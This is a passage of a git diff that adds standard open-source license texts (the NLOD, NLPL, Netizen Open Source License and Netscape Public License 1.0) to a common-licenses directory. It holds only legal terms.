+If the licensor has made available information not covered by the licence according to the above list, the licensee must cease all use of the information under the licence, and erase the information as soon as he or she becomes aware of or should have understood that the information is not covered by the licence.
+
+4. Effects of breach of the licence
+The licence is subject to the licensee’s compliance with the terms and conditions of this licence. In the event that the licensee commits a breach of this licence, this will entail that the licensee’s right to use the information will be revoked immediately without further notice. In case of such a breach, the licensee must immediately and without further notice take measures to cause the infringement to end. Because the right to use the information has been terminated, the licensee must cease all use of the information by virtue of the licence.
+
+5. Attribution
+The licensee shall attribute the licensor as specified by the licensor and include a reference to this licence. To the extent practically possible, the licensee shall provide a link to both this licence and the source of the information.
+
+If the licensor has not specified how attributions shall be made, the licensee shall normally state the following: «Contains data under the Norwegian licence for Open Government data (NLOD) distributed by [name of licensor]».
+
+If the licensor has specified that the information shall only be available under a specific version of this licence, cf. Section 10, the licensee shall also state this.
+
+If the information has been changed, the licensee must clearly indicate that changes have been made by the licensee.
+
+6. Proper use
+The licensee shall not use the information in a manner that appears misleading nor present the information in a distorted or incorrect manner.
+Neither the licensor’s nor other contributors' names or trademarks must be used to support, recommend or market the licensee or any products or services using the information.
+
+7. Disclaimer of liability
+The information is licensed «as is». The information may contain errors and omissions. The licensor provides no warranties, including relating to the content and relevance of the information.
+
+The licensor disclaims any liability for errors and defects associated with the information to the maximum extent permitted by law.
+
+The licensor shall not be liable for direct or indirect losses as a result of use of the information or in connection with copying or further distribution of the information.
+
+8. Guarantees regarding data quality and accessibility
+This licence does not prevent the licensor from issuing supplementary statements regarding expected or intended data quality and accessibility. Such statements shall be regarded as indicative in nature and not binding on the part of the licensor. The disclaimers in Section 7 also apply in full for such indicative statements. Based on separate agreement, the licensor may provide guarantees and distribute the information on terms and conditions different from those set forth in this licence.
+
+9. Licence compatibility
+If the licensee is to distribute an adapted or combined work based on information covered by this licence and some other work licensed under a licence compatible by contract, such distribution may be based on an appropriate licence compatible by contract, cf. the list below.
+
+A licence compatible by contract shall mean the following licences:
+
+ * for all information: Open Government Licence (version 1.0, 2.0 and 3.0), Creative Commons Attribution Licence (international version 4.0 and norwegian version 4.0),
+ * for those parts of the information which do not constitute databases: Creative Commons Attribution Licence (generic version 1.0, 2.0, 2.5 and unported version 3.0) and Creative Commons Navngivelse 3.0 Norge,
+ * for those parts of the information which constitute databases: Open Data Commons Attribution License (version 1.0).
+
+This provision does not prevent other licences from being compatible with this licence based on their content.
+
+10. New versions of the licence
+The licensee may choose to use the information covered by this licence under any new versions of the Norwegian licence for Open Government data (NLOD) issued by the responsible ministry (currently the Ministry of Local Government and Modernisation) when these versions are final and official, unless the licensor when making the information available under this licence specifically has stated that solely version 2.0 of this licence may be used.
+
+11. Governing law and legal venue
+This licence, including its formation, and any disputes and claims arising in connection with or relating to this licence, shall be regulated by Norwegian law. The legal venue shall be the licensor’s ordinary legal venue. The licensor may, with regard to intellectual proprietary rights, choose to pursue a claim at other competent legal venues and/or based on the laws of the country where the intellectual property rights are sought enforced.
diff --git a/meta/files/common-licenses/NLPL b/meta/files/common-licenses/NLPL
new file mode 100644
index 0000000000..79f83af89b
--- /dev/null
+++ b/meta/files/common-licenses/NLPL
@@ -0,0 +1,14 @@
+NO LIMIT PUBLIC LICENSE
+ Version 0, June 2012
+
+Gilles LAMIRAL
+La Billais
+35580 Baulon
+France
+
+NO LIMIT PUBLIC LICENSE
+
+Terms and conditions for copying, distribution, modification
+or anything else.
+
+ 0. No limit to do anything with this work and this license.
diff --git a/meta/files/common-licenses/NOSL b/meta/files/common-licenses/NOSL
new file mode 100644
index 0000000000..ff16a148c6
--- /dev/null
+++ b/meta/files/common-licenses/NOSL
@@ -0,0 +1,150 @@
+NETIZEN OPEN SOURCE LICENSE
+Version 1.0
+
+1. Definitions.
+
+ 1.0.1. "Commercial Use" means distribution or otherwise making the Covered Code available to a third party.
+
+ 1.1. "Contributor" means each entity that creates or contributes to the creation of Modifications.
+
+ 1.2. "Contributor Version" means the combination of the Original Code, prior Modifications used by a Contributor, and the Modifications made by that particular Contributor.
+
+ 1.3. "Covered Code" means the Original Code or Modifications or the combination of the Original Code and Modifications, in each case including portions thereof.
+
+ 1.4. "Electronic Distribution Mechanism" means a mechanism generally accepted in the software development community for the electronic transfer of data.
+
+ 1.5. "Executable" means Covered Code in any form other than Source Code.
+
+ 1.6. "Initial Developer" means the individual or entity identified as the Initial Developer in the Source Code notice required by Exhibit A.
+
+ 1.7. "Larger Work" means a work which combines Covered Code or portions thereof with code not governed by the terms of this License.
+
+ 1.8. "License" means this document.
+
+ 1.8.1. "Licensable" means having the right to grant, to the maximum extent possible, whether at the time of the initial grant or subsequently acquired, any and all of the rights conveyed herein.
+
+ 1.9. "Modifications" means any addition to or deletion from the substance or structure of either the Original Code or any previous Modifications. When Covered Code is released as a series of files, a Modification is:
+ A. Any addition to or deletion from the contents of a file containing Original Code or previous Modifications.
+ B. Any new file that contains any part of the Original Code or previous Modifications.
+
+ 1.10. "Original Code" means Source Code of computer software code which is described in the Source Code notice required by Exhibit A as Original Code, and which, at the time of its release under this License is not already Covered Code governed by this License.
+
+ 1.10.1. "Patent Claims" means any patent claim(s), now owned or hereafter acquired, including without limitation, method, process, and apparatus claims, in any patent Licensable by grantor.
+
+ 1.11. "Source Code" means the preferred form of the Covered Code for making modifications to it, including all modules it contains, plus any associated interface definition files, scripts used to control compilation and installation of an Executable, or source code differential comparisons against either the Original Code or another well known, available Covered Code of the Contributor's choice. The Source Code can be in a compressed or archival form, provided the appropriate decompression or de-archiving software is widely available for no charge.
+
+ 1.12. "You" (or "Your") means an individual or a legal entity exercising rights under, and complying with all of the terms of, this License or a future version of this License issued under Section 6.1. For legal entities, "You" includes any entity which controls, is controlled by, or is under common control with You. For purposes of this definition, "control" means (a) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (b) ownership of more than fifty percent (50%) of the outstanding shares or beneficial ownership of such entity.
+
+2. Source Code License.
+
+ 2.1. The Initial Developer Grant. The Initial Developer hereby grants You a world-wide, royalty-free, non-exclusive license, subject to third party intellectual property claims:
+ (a) under intellectual property rights (other than patent or trademark) Licensable by Initial Developer to use, reproduce, modify, display, perform, sublicense and distribute the Original Code (or portions thereof) with or without Modifications, and/or as part of a Larger Work; and
+ (b) under Patents Claims infringed by the making, using or selling of Original Code, to make, have made, use, practice, sell, and offer for sale, and/or otherwise dispose of the Original Code (or portions thereof).
+ (c) the licenses granted in this Section 2.1(a) and (b) are effective on the date Initial Developer first distributes Original Code under the terms of this License.
+ (d) Notwithstanding Section 2.1(b) above, no patent license is granted: 1) for code that You delete from the Original Code; 2) separate from the Original Code; or 3) for infringements caused by: i) the modification of the Original Code or ii) the combination of the Original Code with other software or devices.
+
+ 2.2. Contributor Grant.
+ Subject to third party intellectual property claims, each Contributor hereby grants You a world-wide, royalty-free, non-exclusive license
+ (a) under intellectual property rights (other than patent or trademark) Licensable by Contributor, to use, reproduce, modify, display, perform, sublicense and distribute the Modifications created by such Contributor (or portions thereof) either on an unmodified basis, with other Modifications, as Covered Code and/or as part of a Larger Work; and
+ (b) under Patent Claims infringed by the making, using, or selling of Modifications made by that Contributor either alone and/or in combination with its Contributor Version (or portions of such combination), to make, use, sell, offer for sale, have made, and/or otherwise dispose of: 1) Modifications made by that Contributor (or portions thereof); and 2) the combination of Modifications made by that Contributor with its Contributor Version (or portions of such combination).
+ (c) the licenses granted in Sections 2.2(a) and 2.2(b) are effective on the date Contributor first makes Commercial Use of the Covered Code.
+ (d) Notwithstanding Section 2.2(b) above, no patent license is granted: 1) for any code that Contributor has deleted from the Contributor Version; 2) separate from the Contributor Version; 3) for infringements caused by: i) third party modifications of Contributor Version or ii) the combination of Modifications made by that Contributor with other software (except as part of the Contributor Version) or other devices; or 4) under Patent Claims infringed by Covered Code in the absence of Modifications made by that Contributor.
+
+3. Distribution Obligations.
+
+ 3.1. Application of License. The Modifications which You create or to which You contribute are governed by the terms of this License, including without limitation Section 2.2. The Source Code version of Covered Code may be distributed only under the terms of this License or a future version of this License released under Section 6.1, and You must include a copy of this License with every copy of the Source Code You distribute. You may not offer or impose any terms on any Source Code version that alters or restricts the applicable version of this License or the recipients' rights hereunder. However, You may include an additional document offering the additional rights described in Section 3.5.
+
+ 3.2. Availability of Source Code. Any Modification which You create or to which You contribute must be made available in Source Code form under the terms of this License either on the same media as an Executable version or via an accepted Electronic Distribution Mechanism to anyone to whom you made an Executable version available; and if made available via Electronic Distribution Mechanism, must remain available for at least twelve (12) months after the date it initially became available, or at least six (6) months after a subsequent version of that particular Modification has been made available to such recipients. You are responsible for ensuring that the Source Code version remains available even if the Electronic Distribution Mechanism is maintained by a third party.
+
+ 3.3. Description of Modifications. You must cause all Covered Code to which You contribute to contain a file documenting the changes You made to create that Covered Code and the date of any change. You must include a prominent statement that the Modification is derived, directly or indirectly, from Original Code provided by the Initial Developer and including the name of the Initial Developer in (a) the Source Code, and (b) in any notice in an Executable version or related documentation in which You describe the origin or ownership of the Covered Code.
+
+ 3.4. Intellectual Property Matters
+ (a) Third Party Claims.
+ If Contributor has knowledge that a license under a third party's intellectual property rights is required to exercise the rights granted by such Contributor under Sections 2.1 or 2.2, Contributor must include a text file with the Source Code distribution titled "LEGAL" which describes the claim and the party making the claim in sufficient detail that a recipient will know whom to contact. If Contributor obtains such knowledge after the Modification is made available as described in Section 3.2, Contributor shall promptly modify the LEGAL file in all copies Contributor makes available thereafter and shall take other steps (such as notifying appropriate mailing lists or newsgroups) reasonably calculated to inform those who received the Covered Code that new knowledge has been obtained.
+ (b) Contributor APIs.
+ If Contributor's Modifications include an application programming interface and Contributor has knowledge of patent licenses which are reasonably necessary to implement that API, Contributor must also include this information in the LEGAL file.
+ (c) Representations.
+ Contributor represents that, except as disclosed pursuant to Section 3.4(a) above, Contributor believes that Contributor's Modifications are Contributor's original creation(s) and/or Contributor has sufficient rights to grant the rights conveyed by this License.
+
+ 3.5. Required Notices.
+ You must duplicate the notice in Exhibit A in each file of the Source Code. If it is not possible to put such notice in a particular Source Code file due to its structure, then You must include such notice in a location (such as a relevant directory) where a user would be likely to look for such a notice. If You created one or more Modification(s) You may add your name as a Contributor to the notice described in Exhibit A. You must also duplicate this License in any documentation for the Source Code where You describe recipients' rights or ownership rights relating to Covered Code. You may choose to offer, and to charge a fee for, warranty, support, indemnity or liability obligations to one or more recipients of Covered Code. However, You may do so only on Your own behalf, and not on behalf of the Initial Developer or any Contributor. You must make it absolutely clear than any such warranty, support, indemnity or liability obligation is offered by You alone, and You hereby agree to indemnify the Initial Developer and every Contributor for any liability incurred by the Initial Developer or such Contributor as a result of warranty, support, indemnity or liability terms You offer.
+
+ 3.6. Distribution of Executable Versions.
+ You may distribute Covered Code in Executable form only if the requirements of Section 3.1-3.5 have been met for that Covered Code, and if You include a notice stating that the Source Code version of the Covered Code is available under the terms of this License, including a description of how and where You have fulfilled the obligations of Section 3.2. The notice must be conspicuously included in any notice in an Executable version, related documentation or collateral in which You describe recipients' rights relating to the Covered Code. You may distribute the Executable version of Covered Code or ownership rights under a license of Your choice, which may contain terms different from this License, provided that You are in compliance with the terms of this License and that the license for the Executable version does not attempt to limit or alter the recipient's rights in the Source Code version from the rights set forth in this License. If You distribute the Executable version under a different license You must make it absolutely clear that any terms which differ from this License are offered by You alone, not by the Initial Developer or any Contributor. You hereby agree to indemnify the Initial Developer and every Contributor for any liability incurred by the Initial Developer or such Contributor as a result of any such terms You offer.
+
+ 3.7. Larger Works.
+ You may create a Larger Work by combining Covered Code with other code not governed by the terms of this License and distribute the Larger Work as a single LEDs product. In such a case, You must make sure the requirements of this License are fulfilled for the Covered Code.
+
+4. Inability to Comply Due to Statute or Regulation.
+
+If it is impossible for You to comply with any of the terms of this License with respect to some or all of the Covered Code due to statute, judicial order, or regulation then You must: (a) comply with the terms of this License to the maximum extent possible; and (b) describe the limitations and the code they affect. Such description must be included in the LEGAL file described in Section 3.4 and must be included with all distributions of the Source Code. Except to the extent prohibited by statute or regulation, such description must be sufficiently detailed for a recipient of ordinary skill to be able to understand it.
+
+5. Application of this License.
+
+This License applies to code to which the Initial Developer has attached the notice in Exhibit A and to related Covered Code.
+
+6. Versions of the License.
+
+ 6.1. New Versions.
+ Netizen Pty Ltd ("Netizen ") may publish revised and/or new versions of the License from time to time. Each version will be given a distinguishing version number.
+
+ 6.2. Effect of New Versions.
+ Once Covered Code has been published under a particular version of the License, You may always continue to use it under the terms of that version. You may also choose to use such Covered Code under the terms of any subsequent version of the License published by Netizen. No one other than Netizen has the right to modify the terms applicable to Covered Code created under this License.
+
+ 6.3. Derivative Works.
+ If You create or use a modified version of this License (which you may only do in order to apply it to code which is not already Covered Code governed by this License), You must (a) rename Your license so that the phrases "Netizen", "NOSL" or any confusingly similar phrase do not appear in your license (except to note that your license differs from this License) and (b) otherwise make it clear that Your version of the license contains terms which differ from the Netizen Open Source License and Xen Open Source License. (Filling in the name of the Initial Developer, Original Code or Contributor in the notice described in Exhibit A shall not of themselves be deemed to be modifications of this License.)
+
+7. DISCLAIMER OF WARRANTY.
+
+COVERED CODE IS PROVIDED UNDER THIS LICENSE ON AN "AS IS" BASIS, WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, WITHOUT LIMITATION, WARRANTIES THAT THE COVERED CODE IS FREE OF DEFECTS, MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE OR NON-INFRINGING. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE COVERED CODE IS WITH YOU. SHOULD ANY COVERED CODE PROVE DEFECTIVE IN ANY RESPECT, YOU (NOT THE INITIAL DEVELOPER OR ANY OTHER CONTRIBUTOR) ASSUME THE COST OF ANY NECESSARY SERVICING, REPAIR OR CORRECTION. THIS DISCLAIMER OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THIS LICENSE. NO USE OF ANY COVERED CODE IS AUTHORIZED HEREUNDER EXCEPT UNDER THIS DISCLAIMER.
+
+ 7.1 To the extent permitted by law and except as expressly provided to the contrary in this Agreement, all warranties whether express, implied, statutory or otherwise, relating in any way to the subject matter of this Agreement or to this Agreement generally, are excluded. Where legislation implies in this Agreement any condition or warranty and that legislation avoids or prohibits provisions in a contract excluding or modifying the application of or the exercise of or liability under such term, such term shall be deemed to be included in this Agreement. However, the liability of Supplier for any breach of such term shall be limited, at the option of Supplier, to any one or more of the following: if the breach related to goods: the replacement of the goods or the supply of equivalent goods; the repair of such goods; the payment of the cost of replacing the goods or of acquiring equivalent goods; or the payment of the cost of having the goods repaired; and if the breach relates to services the supplying of the services again; or the payment of the cost of having the services supplied again.
+
+8. TERMINATION.
+
+ 8.1. This License and the rights granted hereunder will terminate automatically if You fail to comply with terms herein and fail to cure such breach within 30 days of becoming aware of the breach. All sublicenses to the Covered Code which are properly granted shall survive any termination of this License. Provisions which, by their nature, must remain in effect beyond the termination of this License shall survive.
+
+ 8.2. If You initiate litigation by asserting a patent infringement claim (excluding declatory judgment actions) against Initial Developer or a Contributor (the Initial Developer or Contributor against whom You file such action is referred to as "Participant") alleging that:
+ (a) such Participant's Contributor Version directly or indirectly infringes any patent, then any and all rights granted by such Participant to You under Sections 2.1 and/or 2.2 of this License shall, upon 60 days notice from Participant terminate prospectively, unless if within 60 days after receipt of notice You either: (i) agree in writing to pay Participant a mutually agreeable reasonable royalty for Your past and future use of Modifications made by such Participant, or (ii) withdraw Your litigation claim with respect to the Contributor Version against such Participant. If within 60 days of notice, a reasonable royalty and payment arrangement are not mutually agreed upon in writing by the parties or the litigation claim is not withdrawn, the rights granted by Participant to You under Sections 2.1 and/or 2.2 automatically terminate at the expiration of the 60 day notice period specified above.
+ (b) any software, hardware, or device, other than such Participant's Contributor Version, directly or indirectly infringes any patent, then any rights granted to You by such Participant under Sections 2.1(b) and 2.2(b) are revoked effective as of the date You first made, used, sold, distributed, or had made, Modifications made by that Participant.
+
+ 8.3. If You assert a patent infringement claim against Participant alleging that such Participant's Contributor Version directly or indirectly infringes any patent where such claim is resolved (such as by license or settlement) prior to the initiation of patent infringement litigation, then the reasonable value of the licenses granted by such Participant under Sections 2.1 or 2.2 shall be taken into account in determining the amount or value of any payment or license.
+
+ 8.4. In the event of termination under Sections 8.1 or 8.2 above, all end user license agreements (excluding distributors and resellers) which have been validly granted by You or any distributor hereunder prior to termination shall survive termination.
+
+9. LIMITATION OF LIABILITY.
+UNDER NO CIRCUMSTANCES AND UNDER NO LEGAL THEORY, WHETHER TORT (INCLUDING NEGLIGENCE), CONTRACT, OR OTHERWISE, SHALL YOU, THE INITIAL DEVELOPER, ANY OTHER CONTRIBUTOR, OR ANY DISTRIBUTOR OF COVERED CODE, OR ANY SUPPLIER OF ANY OF SUCH PARTIES, BE LIABLE TO ANY PERSON FOR ANY INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES OF ANY CHARACTER INCLUDING, WITHOUT LIMITATION, DAMAGES FOR LOSS OF GOODWILL, WORK STOPPAGE, COMPUTER FAILURE OR MALFUNCTION, OR ANY AND ALL OTHER COMMERCIAL DAMAGES OR LOSSES, EVEN IF SUCH PARTY SHALL HAVE BEEN INFORMED OF THE POSSIBILITY OF SUCH DAMAGES. THIS LIMITATION OF LIABILITY SHALL NOT APPLY TO LIABILITY FOR DEATH OR PERSONAL INJURY RESULTING FROM SUCH PARTY'S NEGLIGENCE TO THE EXTENT APPLICABLE LAW PROHIBITS SUCH LIMITATION. SOME JURISDICTIONS DO NOT ALLOW THE EXCLUSION OR LIMITATION OF INCIDENTAL OR CONSEQUENTIAL DAMAGES, SO THIS EXCLUSION AND LIMITATION MAY NOT APPLY TO YOU.
+
+10. U.S. GOVERNMENT END USERS.
+
+The Covered Code is a "commercial item," as that term is defined in 48 C.F.R. 2.101 (Oct. 1995), consisting of "commercial computer software" and "commercial computer software documentation," as such terms are used in 48 C.F.R. 12.212 (Sept. 1995). Consistent with 48 C.F.R. 12.212 and 48 C.F.R. 227.7202-1 through 227.7202-4 (June 1995), all U.S. Government End Users acquire Covered Code with only those rights set forth herein.
+
+11. MISCELLANEOUS.
+
+This License represents the complete agreement concerning subject matter hereof. If any provision of this License is held to be unenforceable, such provision shall be reformed only to the extent necessary to make it enforceable.
+This Agreement shall be governed by and construed according to the law of the State of Victoria. The parties irrevocably submit to the exclusive jurisdiction of the Courts of Victoria and Australia and any Courts hearing appeals from such Courts. This Agreement is deemed to have been made in Victoria.
+The application of the United Nations Convention on Contracts for the International Sale of Goods is expressly excluded. Any law or regulation which provides that the language of a contract shall be construed against the drafter shall not apply to this License.
+
+12. RESPONSIBILITY FOR CLAIMS.
+
+As between Initial Developer and the Contributors, each party is responsible for claims and damages arising, directly or indirectly, out of its utilization of rights under this License and You agree to work with Initial Developer and Contributors to distribute such responsibility on an equitable basis. Nothing herein is intended or shall be deemed to constitute any admission of liability.
+
+13. MULTIPLE-LICENSED CODE.
+
+Initial Developer may designate portions of the Covered Code as "Multiple-Licensed". "Multiple-Licensed" means that the Initial Developer permits you to utilize portions of the Covered Code under Your choice of the NPL or the alternative licenses, if any, specified by the Initial Developer in the file described in Exhibit A.
+
+EXHIBIT A - Netizen Open Source License
+
+ ``The contents of this file are subject to the Netizen Open Source License Version 1.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://netizen.com.au/licenses/NOPL/
+
+ Software distributed under the License is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License for the specific language governing rights and limitations under the License.
+
+ The Original Code is ______________________________________.
+
+ The Initial Developer of the Original Code is ________________________. Portions created by ______________________ are Copyright (C) ______ _______________________. All Rights Reserved.
+
+ Contributor(s): ______________________________________.
+
+ Alternatively, the contents of this file may be used under the terms of the _____ license (the "[___] License"), in which case the provisions of [______] License are applicable instead of those above. If you wish to allow use of your version of this file only under the terms of the [____] License and not to allow others to use your version of this file under the NOSL, indicate your decision by deleting the provisions above and replace them with the notice and other provisions required by the [___] License. If you do not delete the provisions above, a recipient may use your version of this file under either the NOSL or the [___] License."
+
+ [NOTE: The text of this Exhibit A may differ slightly from the text of the notices in the Source Code files of the Original Code. You should use the text of this Exhibit A rather than the text found in the Original Code Source Code for Your Modifications.]
diff --git a/meta/files/common-licenses/NPL-1.0 b/meta/files/common-licenses/NPL-1.0
new file mode 100644
index 0000000000..7a5030e9f7
--- /dev/null
+++ b/meta/files/common-licenses/NPL-1.0
@@ -0,0 +1,102 @@
+NETSCAPE PUBLIC LICENSE Version 1.0
+
+1. Definitions.
+
+ 1.1. ``Contributor'' means each entity that creates or contributes to the creation of Modifications.
+
+ 1.2. ``Contributor Version'' means the combination of the Original Code, prior Modifications used by a Contributor, and the Modifications made by that particular Contributor.
+ 1.3. ``Covered Code'' means the Original Code or Modifications or the combination of the Original Code and Modifications, in each case including portions thereof.
+ 1.4. ``Electronic Distribution Mechanism'' means a mechanism generally accepted in the software development community for the electronic transfer of data.
+ 1.5. ``Executable'' means Covered Code in any form other than Source Code.
+ 1.6. ``Initial Developer'' means the individual or entity identified as the Initial Developer in the Source Code notice required byExhibit A.
+ 1.7. ``Larger Work'' means a work which combines Covered Code or portions thereof with code not governed by the terms of this License.
+ 1.8. ``License'' means this document.
+ 1.9. ``Modifications'' means any addition to or deletion from the substance or structure of either the Original Code or any previous Modifications. When Covered Code is released as a series of files, a Modification is:
+ A. Any addition to or deletion from the contents of a file containing Original Code or previous Modifications. B. Any new file that contains any part of the Original Code or previous Modifications.
+
+ 1.10. ``Original Code'' means Source Code of computer software code which is described in the Source Code notice required byExhibit A as Original Code, and which, at the time of its release under this License is not already Covered Code governed by this License.
+ 1.11. ``Source Code'' means the preferred form of the Covered Code for making modifications to it, including all modules it contains, plus any associated interface definition files, scripts used to control compilation and installation of an Executable, or a list of source code differential comparisons against either the Original Code or another well known, available Covered Code of the Contributor's choice. The Source Code can be in a compressed or archival form, provided the appropriate decompression or de-archiving software is widely available for no charge.
+ 1.12. ``You'' means an individual or a legal entity exercising rights under, and complying with all of the terms of, this License or a future version of this License issued under Section 6.1. For legal entities, ``You'' includes any entity which controls, is controlled by, or is under common control with You. For purposes of this definition, ``control'' means (a) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (b) ownership of fifty percent (50%) or more of the outstanding shares or beneficial ownership of such entity.
+
+2. Source Code License.
+
+ 2.1. The Initial Developer Grant. The Initial Developer hereby grants You a world-wide, royalty-free, non-exclusive license, subject to third party intellectual property claims:
+ a) to use, reproduce, modify, display, perform, sublicense and distribute the Original Code (or portions thereof) with or without Modifications, or as part of a Larger Work; and
+ (b) under patents now or hereafter owned or controlled by Initial Developer, to make, have made, use and sell (``Utilize'') the Original Code (or portions thereof), but solely to the extent that any such patent is reasonably necessary to enable You to Utilize the Original Code (or portions thereof) and not to any greater extent that may be necessary to Utilize further Modifications or combinations.
+
+ 2.2. Contributor Grant. Each Contributor hereby grants You a world-wide, royalty-free, non-exclusive license, subject to third party intellectual property claims:
+ (a) to use, reproduce, modify, display, perform, sublicense and distribute the Modifications created by such Contributor (or portions thereof) either on an unmodified basis, with other Modifications, as Covered Code or as part of a Larger Work; and
+ (b) under patents now or hereafter owned or controlled by Contributor, to Utilize the Contributor Version (or portions thereof), but solely to the extent that any such patent is reasonably necessary to enable You to Utilize the Contributor Version (or portions thereof), and not to any greater extent that may be necessary to Utilize further Modifications or combinations.
+
+3. Distribution Obligations.
+
+ 3.1. Application of License. The Modifications which You create or to which You contribute are governed by the terms of this License, including without limitation Section 2.2. The Source Code version of Covered Code may be distributed only under the terms of this License or a future version of this License released under Section 6.1, and You must include a copy of this License with every copy of the Source Code You distribute. You may not offer or impose any terms on any Source Code version that alters or restricts the applicable version of this License or the recipients' rights hereunder. However, You may include an additional document offering the additional rights described in Section 3.5.
+
+ 3.2. Availability of Source Code. Any Modification which You create or to which You contribute must be made available in Source Code form under the terms of this License either on the same media as an Executable version or via an accepted Electronic Distribution Mechanism to anyone to whom you made an Executable version available; and if made available via Electronic Distribution Mechanism, must remain available for at least twelve (12) months after the date it initially became available, or at least six (6) months after a subsequent version of that particular Modification has been made available to such recipients. You are responsible for ensuring that the Source Code version remains available even if the Electronic Distribution Mechanism is maintained by a third party.
+ 3.3. Description of Modifications. You must cause all Covered Code to which you contribute to contain a file documenting the changes You made to create that Covered Code and the date of any change. You must include a prominent statement that the Modification is derived, directly or indirectly, from Original Code provided by the Initial Developer and including the name of the Initial Developer in (a) the Source Code, and (b) in any notice in an Executable version or related documentation in which You describe the origin or ownership of the Covered Code.
+ 3.4. Intellectual Property Matters
+ (a) Third Party Claims. If You have knowledge that a party claims an intellectual property right in particular functionality or code (or its utilization under this License), you must include a text file with the source code distribution titled ``LEGAL'' which describes the claim and the party making the claim in sufficient detail that a recipient will know whom to contact. If you obtain such knowledge after You make Your Modification available as described in Section 3.2, You shall promptly modify the LEGAL file in all copies You make available thereafter and shall take other steps (such as notifying appropriate mailing lists or newsgroups) reasonably calculated to inform those who received the Covered Code that new knowledge has been obtained.
+ (b) Contributor APIs. If Your Modification is an application programming interface and You own or control patents which are reasonably necessary to implement that API, you must also include this information in the LEGAL file.
+
+ 3.5. Required Notices. You must duplicate the notice in Exhibit A in each file of the Source Code, and this License in any documentation for the Source Code, where You describe recipients' rights relating to Covered Code. If You created one or more Modification(s), You may add your name as a Contributor to the notice described in Exhibit A. If it is not possible to put such notice in a particular Source Code file due to its structure, then you must include such notice in a location (such as a relevant directory file) where a user would be likely to look for such a notice. You may choose to offer, and to charge a fee for, warranty, support, indemnity or liability obligations to one or more recipients of Covered Code. However, You may do so only on Your own behalf, and not on behalf of the Initial Developer or any Contributor. You must make it absolutely clear than any such warranty, support, indemnity or liability obligation is offered by You alone, and You hereby agree to indemnify the Initial Developer and every Contributor for any liability incurred by the Initial Developer or such Contributor as a result of warranty, support, indemnity or liability terms You offer.
+ 3.6. Distribution of Executable Versions. You may distribute Covered Code in Executable form only if the requirements of Section 3.1-3.5 have been met for that Covered Code, and if You include a notice stating that the Source Code version of the Covered Code is available under the terms of this License, including a description of how and where You have fulfilled the obligations of Section 3.2. The notice must be conspicuously included in any notice in an Executable version, related documentation or collateral in which You describe recipients' rights relating to the Covered Code. You may distribute the Executable version of Covered Code under a license of Your choice, which may contain terms different from this License, provided that You are in compliance with the terms of this License and that the license for the Executable version does not attempt to limit or alter the recipient's rights in the Source Code version from the rights set forth in this License. If You distribute the Executable version under a different license You must make it absolutely clear that any terms which differ from this License are offered by You alone, not by the Initial Developer or any Contributor. You hereby agree to indemnify the Initial Developer and every Contributor for any liability incurred by the Initial Developer or such Contributor as a result of any such terms You offer.
+ 3.7. Larger Works. You may create a Larger Work by combining Covered Code with other code not governed by the terms of this License and distribute the Larger Work as a single product. In such a case, You must make sure the requirements of this License are fulfilled for the Covered Code.
+
+4. Inability to Comply Due to Statute or Regulation.
+If it is impossible for You to comply with any of the terms of this License with respect to some or all of the Covered Code due to statute or regulation then You must: (a) comply with the terms of this License to the maximum extent possible; and (b) describe the limitations and the code they affect. Such description must be included in the LEGAL file described in Section 3.4 and must be included with all distributions of the Source Code. Except to the extent prohibited by statute or regulation, such description must be sufficiently detailed for a recipient of ordinary skill to be able to understand it.
+
+5. Application of this License.
+This License applies to code to which the Initial Developer has attached the notice in Exhibit A, and to related Covered Code.
+
+6. Versions of the License.
+ 6.1. New Versions. Netscape Communications Corporation (``Netscape'') may publish revised and/or new versions of the License from time to time. Each version will be given a distinguishing version number.
+
+ 6.2. Effect of New Versions. Once Covered Code has been published under a particular version of the License, You may always continue to use it under the terms of that version. You may also choose to use such Covered Code under the terms of any subsequent version of the License published by Netscape. No one other than Netscape has the right to modify the terms applicable to Covered Code created under this License.
+ 6.3. Derivative Works. If you create or use a modified version of this License (which you may only do in order to apply it to code which is not already Covered Code governed by this License), you must (a) rename Your license so that the phrases ``Mozilla'', ``MOZILLAPL'', ``MOZPL'', ``Netscape'', ``NPL'' or any confusingly similar phrase do not appear anywhere in your license and (b) otherwise make it clear that your version of the license contains terms which differ from the Mozilla Public License and Netscape Public License. (Filling in the name of the Initial Developer, Original Code or Contributor in the notice described in Exhibit A shall not of themselves be deemed to be modifications of this License.)
+
+7. DISCLAIMER OF WARRANTY.
+
+COVERED CODE IS PROVIDED UNDER THIS LICENSE ON AN ``AS IS'' BASIS, WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, WITHOUT LIMITATION, WARRANTIES THAT THE COVERED CODE IS FREE OF DEFECTS, MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE OR NON-INFRINGING. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE COVERED CODE IS WITH YOU. SHOULD ANY COVERED CODE PROVE DEFECTIVE IN ANY RESPECT, YOU (NOT THE INITIAL DEVELOPER OR ANY OTHER CONTRIBUTOR) ASSUME THE COST OF ANY NECESSARY SERVICING, REPAIR OR CORRECTION. THIS DISCLAIMER OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THIS LICENSE. NO USE OF ANY COVERED CODE IS AUTHORIZED HEREUNDER EXCEPT UNDER THIS DISCLAIMER.
+
+8. TERMINATION.
+
+This License and the rights granted hereunder will terminate automatically if You fail to comply with terms herein and fail to cure such breach within 30 days of becoming aware of the breach. All sublicenses to the Covered Code which are properly granted shall survive any termination of this License. Provisions which, by their nature, must remain in effect beyond the termination of this License shall survive.
+
+9. LIMITATION OF LIABILITY.
+
